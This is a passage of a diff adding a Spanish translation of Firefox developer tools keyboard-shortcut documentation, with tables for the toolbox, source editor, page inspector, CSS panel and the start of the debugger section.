+<p><a name="opening-closing-web-console-note">1. </a><span class="tlid-translation translation" lang="es"><span title="">A diferencia de otras herramientas alojadas en la caja de herramientas, este acceso directo tampoco cierra la Consola Web.</span> <span title="">En cambio, se centra en la línea de comandos de la consola web.</span> <span title="">Para cerrar la consola web, use el acceso directo de la caja de herramientas global de Ctrl + Shift + I (Cmd + Opt + I en una Mac).</span></span><a name="opening-closing-web-console-note"></a></p>
+
+<p><a id="acceso_directo_depurador" name="acceso_directo_depurador">2. <span class="tlid-translation translation" lang="es"><span title="">A partir de Firefox 66, este acceso directo ya no estará asociado con el depurador</span></span>. A partir de Firefox 71, la letra de este acceso directo pasará a ser la Z.</a></p>
+
+<p><a name="opening-closing-network-monitor-note">3. Antes de Firefox 55, el atajo de teclaro era </a><a name="opening-closing-network-monitor-note"><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Q</kbd> (<kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>Q</kbd> en Mac).</a></p>
+
+<p><a id="opening-closing-browser-console-note" name="opening-closing-browser-console-note">4. </a><span class="tlid-translation translation" lang="es"><span title="">Hasta Firefox 38, cuando la consola del navegador está oculta por una ventana normal de Firefox, la misma combinación de teclas cierra la consola del navegador.</span> <span title="">Desde Firefox 38 en adelante, si la consola del navegador está oculta por una ventana normal de Firefox, esta combinación de teclas vuelve a colocar la consola del navegador en la parte superior y se enfoca en ella.</span></span><a name="opening-closing-browser-console-note">.</a></p>
+
+<p><a href="/en-US/docs/Tools_Toolbox#Settings" name="disabled-tools-shortcut">5. </a><span class="tlid-translation translation" lang="es"><span title="">La herramienta está deshabilitada de forma predeterminada, por lo que el acceso directo no funcionará hasta que se habilite desde el Panel de configuración.</span></span></p>
+
+<h2 id="Caja_de_Herramientas">Caja de Herramientas</h2>
+
+<div id="toolbox-shortcuts">
+<p><span class="tlid-translation translation" lang="es"><span title="">Estos accesos directos funcionan siempre que la caja de herramientas esté abierta, sin importar qué herramienta esté activa.</span></span></p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comando</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Recorre las herramientas de izquierda a derecha</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>]</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>]</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>]</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Recorre las herramientas de derecha a izquierda</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>[</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>[</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>[</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Alterna entre la herramienta activa y la configuración.</span></span></th>
+   <td><kbd>F1</kbd></td>
+   <td><kbd>F1</kbd></td>
+   <td><kbd>F1</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Alterna caja de herramientas entre los 2 últimos modos de acoplamiento</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>D</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>D</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>D</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Alterna consola dividida (excepto si la consola es la herramienta seleccionada actualmente)</span></span></th>
+   <td><kbd>Esc</kbd></td>
+   <td><kbd>Esc</kbd></td>
+   <td><kbd>Esc</kbd></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="all-toolbox-tools">
+<div class="text-wrap tlid-copy-target">
+<div class="result-shield-container tlid-copy-target"><span class="tlid-translation translation" lang="es"><span title="">Estos accesos directos funcionan en todas las herramientas alojadas en la caja de herramientas.</span></span></div>
+
+<div class="result-shield-container tlid-copy-target"></div>
+</div>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comando</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row">Incrementa el tamaño de la fuente</th>
+   <td><kbd>Ctrl</kbd> + <kbd> + </kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd> + </kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd> + </kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Decrementa el tamaño de la fuente</th>
+   <td><kbd>Ctrl</kbd> + <kbd>-</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>-</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>-</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Restaura el tamaño por defecto de la fuente</th>
+   <td><kbd>Ctrl</kbd> + <kbd>0</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>0</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>0</kbd></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Editor_de_código_fuente">Editor de código fuente</h2>
+
+<div id="source-editor">
+<p><span class="tlid-translation translation" lang="es"><span title="">Esta tabla enumera los accesos directos predeterminados para el editor de código fuente.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">En la sección <a href="/en-US/docs/Tools/Settings#Editor_Preferences">Preferencias del editor</a> de la configuración de las herramientas del desarrollador, es posible optar por utilizar las combinaciones de teclas Vim, Emacs o Sublime Text en su lugar.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Para seleccionarlos, visite </span></span><code>about:config</code><span class="tlid-translation translation" lang="es"><span title="">, seleccione la configuración </span></span><code>devtools.editor.keymap</code><span class="tlid-translation translation" lang="es"><span title=""> y asigne "vim" o "emacs", o "sublime" a esa configuración.</span> <span title="">Si hace esto, los enlaces seleccionados se usarán para todas las herramientas de desarrollador que usan el editor de origen.</span> <span title="">Debe volver a abrir el editor para que el cambio surta efecto.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Desde Firefox 33 en adelante, la preferencia de vinculación de teclas se expone en la sección <a href="/en-US/docs/Tools/Settings#Editor_Preferences">Preferencias del editor</a> de la configuración de las herramientas del desarrollador, y puede configurarla allí en lugar de en </span></span><code>about:config</code><span class="tlid-translation translation" lang="es"><span title="">.</span></span></p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comando</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row">Ir a la linea</th>
+   <td><kbd>Ctrl</kbd> + <kbd>J</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>J</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>J</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Buscar en la página</th>
+   <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Volver a buscar en la página</th>
+   <td><kbd>Ctrl</kbd> + <kbd>G</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>G</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>G</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Seleccionar todo</th>
+   <td><kbd>Ctrl</kbd> + <kbd>A</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>A</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>A</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Cortar</th>
+   <td><kbd>Ctrl</kbd> + <kbd>X</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>X</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>X</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Copiar</th>
+   <td><kbd>Ctrl</kbd> + <kbd>C</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>C</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>C</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Pegar</th>
+   <td><kbd>Ctrl</kbd> + <kbd>V</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>V</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>V</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Desacer</th>
+   <td><kbd>Ctrl</kbd> + <kbd>Z</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Z</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Z</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Rehacer</th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd> / <kbd>Ctrl</kbd> + <kbd>Y</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd> / <kbd>Cmd</kbd> + <kbd>Y</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd> / <kbd>Ctrl</kbd> + <kbd>Y</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Identar</th>
+   <td><kbd>Tab</kbd></td>
+   <td><kbd>Tab</kbd></td>
+   <td><kbd>Tab</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Quitar identado o sangría</th>
+   <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Mover línea(s) hacia arriba</span></span></th>
+   <td><kbd>Alt</kbd> + <kbd>Up</kbd></td>
+   <td><kbd>Alt</kbd> + <kbd>Up</kbd></td>
+   <td><kbd>Alt</kbd> + <kbd>Up</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Mover línea (s) hacia abajo</span></span></th>
+   <td><kbd>Alt</kbd> + <kbd>Down</kbd></td>
+   <td><kbd>Alt</kbd> + <kbd>Down</kbd></td>
+   <td><kbd>Alt</kbd> + <kbd>Down</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Comentar/Decomentar linea(s)</th>
+   <td><kbd>Ctrl</kbd> + <kbd>/</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>/</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>/</kbd></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Inspector_de_páginas">Inspector de páginas</h2>
+
+<div id="page-inspector">
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comando</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row">Abre el inspector</th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>C</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>C</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>C</kbd></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Selector_de_nodos"><span class="tlid-translation translation" lang="es"><span title="">Selector de nodos</span></span></h3>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Estos accesos directos funcionan mientras el <a href="/en-US/docs/Tools/Page_Inspector/How_to/Select_an_element#With_the_node_picker">selector de nodos</a> está activo.</span></span></p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comando</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Seleccione el elemento debajo del mouse y cancela el modo selector</span></span></th>
+   <td><kbd>Click</kbd></td>
+   <td><kbd>Click</kbd></td>
+   <td><kbd>Click</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Seleccione el elemento debajo del mouse y permanece en modo selector</span></span></th>
+   <td><kbd>Shift</kbd>+<kbd>Click</kbd></td>
+   <td><kbd>Shift</kbd>+<kbd>Click</kbd></td>
+   <td><kbd>Shift</kbd>+<kbd>Click</kbd></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Panel_HTML"><span class="tlid-translation translation" lang="es"><span title="">Panel HTML</span></span></h3>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Estos accesos directos funcionan mientras se esté en el <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML">panel HTML del Inspector</a>.</span></span></p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comando</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row">Elimina el nodo seleccionado</th>
+   <td><kbd>Delete</kbd></td>
+   <td><kbd>Delete</kbd></td>
+   <td><kbd>Delete</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Deshace el borrado de un nodo</th>
+   <td><kbd>Ctrl</kbd> + <kbd>Z</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Z</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Z</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Rehace el borrado de un nodo</th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd> / <kbd>Ctrl</kbd> + <kbd>Y</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd> / <kbd>Cmd</kbd> + <kbd>Y</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Z</kbd> / <kbd>Ctrl</kbd> + <kbd>Y</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Moverse al siguiente nodo (solo nodos expandidos)</span></span></th>
+   <td><kbd>Down arrow</kbd></td>
+   <td><kbd>Down arrow</kbd></td>
+   <td><kbd>Down arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Moverse al nodo anterior</th>
+   <td><kbd>Up arrow</kbd></td>
+   <td><kbd>Up arrow</kbd></td>
+   <td><kbd>Up arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Moverse al primer nodo del arbol</th>
+   <td><kbd>Home</kbd></td>
+   <td><kbd>Home</kbd></td>
+   <td><kbd>Home</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Moverse al últiimo nodo del arbol</th>
+   <td><kbd>End</kbd></td>
+   <td><kbd>End</kbd></td>
+   <td><kbd>End</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Expandir el nodo seleccionado actualmente</span></span></th>
+   <td><kbd>Right arrow</kbd></td>
+   <td><kbd>Right arrow</kbd></td>
+   <td><kbd>Right arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Contraer el nodo seleccionado actualmente</span></span></th>
+   <td><kbd>Left arrow</kbd></td>
+   <td><kbd>Left arrow</kbd></td>
+   <td><kbd>Left arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">(Cuando se selecciona un nodo) moverse dentro del nodo para que pueda comenzar a recorrer los atributos.</span></span></th>
+   <td><kbd>Enter</kbd></td>
+   <td><kbd>Return</kbd></td>
+   <td><kbd>Enter</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Avanza por los atributos de un nodo</span></span></th>
+   <td><kbd>Tab</kbd></td>
+   <td><kbd>Tab</kbd></td>
+   <td><kbd>Tab</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Retrocede a través de los atributos de un nodo</span></span></th>
+   <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">(Cuando se selecciona un atributo) comienza a editar el atributo</span></span></th>
+   <td><kbd>Enter</kbd></td>
+   <td><kbd>Return</kbd></td>
+   <td><kbd>Enter</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Oculta / muestra el nodo seleccionado</span></span></th>
+   <td><kbd>H</kbd></td>
+   <td><kbd>H</kbd></td>
+   <td><kbd>H</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Se centra en el cuadro de búsqueda en el panel HTML</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Editar como HTML</span></span></th>
+   <td><kbd>F2</kbd></td>
+   <td><kbd>F2</kbd></td>
+   <td><kbd>F2</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Deja de editar como HTML</span></span></th>
+   <td><kbd>F2</kbd> / <kbd>Ctrl</kbd> +<kbd>Enter</kbd></td>
+   <td><kbd>F2</kbd> / <kbd>Cmd</kbd> + <kbd>Return</kbd></td>
+   <td><kbd>F2</kbd> / <kbd>Ctrl</kbd> + <kbd>Enter</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Copia el HTML externo del nodo seleccionado</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>C</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>C</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>C</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Desplazar el nodo seleccionado a la vista</span></span></th>
+   <td><kbd>S</kbd></td>
+   <td><kbd>S</kbd></td>
+   <td><kbd>S</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Encuentra la siguiente coincidencia en el marcado, cuando la búsqueda está activa</span></span></th>
+   <td><kbd>Enter</kbd></td>
+   <td><kbd>Return</kbd></td>
+   <td><kbd>Enter</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Encuentra la coincidencia anterior en el marcado, cuando la búsqueda está activa</span></span></th>
+   <td><kbd>Shift</kbd> + <kbd>Enter</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Return</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Enter</kbd></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Barra_de_rutas_de_exploración_o_migas_de_pan">Barra de rutas de exploración o migas de pan</h3>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Estos atajos funcionan cuando la <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#HTML_breadcrumbs">barra de rutas de exploración</a> está enfocada.</span></span></p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comando</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Moverse al elemento anterior en la barra</span></span></th>
+   <td><kbd>Left arrow</kbd></td>
+   <td><kbd>Left arrow</kbd></td>
+   <td><kbd>Left arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Moverse al siguiente elemento en la barra</span></span></th>
+   <td><kbd>Right arrow</kbd></td>
+   <td><kbd>Right arrow</kbd></td>
+   <td><kbd>Right arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Enfoca el </span></span> <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#HTML_pane">panel HTML</a></th>
+   <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Enfoca el</span></span> <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#CSS_pane">panel CSS</a></th>
+   <td><kbd>Tab</kbd></td>
+   <td><kbd>Tab</kbd></td>
+   <td><kbd>Tab</kbd></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Panel_CSS">Panel CSS</h3>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Estos atajos funcionan cuando estás en el</span></span> <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS" title="/en-US/docs/Tools/Page_Inspector#CSS_pane">Inspector del panel CSS</a>.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comando</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Se centra en el cuadro de búsqueda del panel CSS</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Borrar el contenido del cuadro de búsqueda (solo cuando el cuadro de búsqueda está enfocado y se ha ingresado contenido)</span></span></th>
+   <td><kbd>Esc</kbd></td>
+   <td><kbd>Esc</kbd></td>
+   <td><kbd>Esc</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Avanza a través de propiedades y valores del panel</span></span></th>
+   <td><kbd>Tab</kbd></td>
+   <td><kbd>Tab</kbd></td>
+   <td><kbd>Tab</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Retroceda a través de propiedades y valores del panel</span></span></th>
+   <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Tab</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Comienza a editar la propiedad o el valor (Vista de reglas solamente, cuando se selecciona una propiedad o valor, pero aún no se está editando)</span></span></th>
+   <td><kbd>Enter</kbd> or <kbd>Space</kbd></td>
+   <td><kbd>Return</kbd> or <kbd>Space</kbd></td>
+   <td><kbd>Enter</kbd> or <kbd>Space</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Se desplaza hacia arriba y hacia abajo a través de sugerencias de autocompletar (sólo vista de Reglas, cuando se edita una propiedad o valor)</span></span></th>
+   <td><kbd>Up arrow</kbd> , <kbd>Down arrow</kbd></td>
+   <td><kbd>Up arrow</kbd> , <kbd>Down arrow</kbd></td>
+   <td><kbd>Up arrow</kbd> , <kbd>Down arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Elige la sugerencia actual de autocompletar (sólo vista de reglas, cuando se edita una propiedad o valor)</span></span></th>
+   <td><kbd>Enter</kbd> or <kbd>Tab</kbd></td>
+   <td><kbd>Return</kbd> or <kbd>Tab</kbd></td>
+   <td><kbd>Enter</kbd> or <kbd>Tab</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Incrementar el valor seleccionado en 1</span></span></th>
+   <td><kbd>Up arrow</kbd></td>
+   <td><kbd>Up arrow</kbd></td>
+   <td><kbd>Up arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Reducir el valor seleccionado en 1</span></span></th>
+   <td><kbd>Down arrow</kbd></td>
+   <td><kbd>Down arrow</kbd></td>
+   <td><kbd>Down arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Incrementar el valor seleccionado en 100</span></span></th>
+   <td><kbd>Shift</kbd> + <kbd>Page Up</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Page Up</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Page Up</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Decrementar el valor seleccionado en 100</span></span></th>
+   <td><kbd>Shift</kbd> + <kbd>Page Down</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Page Down</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Page Down</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Incrementar el valor seleccionado en 10</span></span></th>
+   <td><kbd>Shift</kbd> + <kbd>Up arrow</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Up arrow</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Up arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Reducir el valor seleccionado en 10</span></span></th>
+   <td><kbd>Shift</kbd> + <kbd>Down arrow</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Down arrow</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Down arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Incrementar el valor seleccionado en 0.1</span></span></th>
+   <td><kbd>Alt</kbd> + <kbd>Up arrow</kbd> (<kbd>Ctrl</kbd> + <kbd>Up arrow</kbd> from Firefox 60 onwards.)</td>
+   <td><kbd>Alt</kbd> + <kbd>Up arrow</kbd></td>
+   <td><kbd>Alt</kbd> + <kbd>Up arrow</kbd> (<kbd>Ctrl</kbd> + <kbd>Up arrow</kbd> from Firefox 60 onwards.)</td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Reducir el valor seleccionado en 0.1</span></span></th>
+   <td><kbd>Alt</kbd> + <kbd>Down arrow</kbd> (<kbd>Ctrl</kbd> + <kbd>Down arrow</kbd> from Firefox 60 onwards).</td>
+   <td><kbd>Alt</kbd> + <kbd>Down arrow</kbd></td>
+   <td><kbd>Alt</kbd> + <kbd>Down arrow</kbd> (<kbd>Ctrl</kbd> + <kbd>Down arrow</kbd> from Firefox 60 onwards).</td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Mostrar / ocultar más información sobre la propiedad actual (sólo vista calculada, cuando se selecciona una propiedad)</span></span></th>
+   <td><kbd>Enter</kbd> or <kbd>Space</kbd></td>
+   <td><kbd>Return</kbd> or <kbd>Space</kbd></td>
+   <td><kbd>Enter</kbd> or <kbd>Space</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Abrir la página de referencia de MDN sobre la propiedad actual (solo vista calculada, cuando se selecciona una propiedad)</span></span></th>
+   <td><kbd>F1</kbd></td>
+   <td><kbd>F1</kbd></td>
+   <td><kbd>F1</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Abra el archivo CSS actual en el Editor de estilos (solo vista calculada, donde se muestra más información para una propiedad y se enfoca una referencia de archivo CSS).</span></span></th>
+   <td><kbd>Enter</kbd></td>
+   <td><kbd>Return</kbd></td>
+   <td><kbd>Enter</kbd></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Depurador">Depurador</h2>
+
+<div id="debugger">
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comando</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row">Cerrar archivo</th>
+   <td><kbd>Ctrl</kbd> + <kbd>W</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>W</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>W</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Buscar texto en el archivo actual</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Buscar texto en todos los archivos</span></span></th>
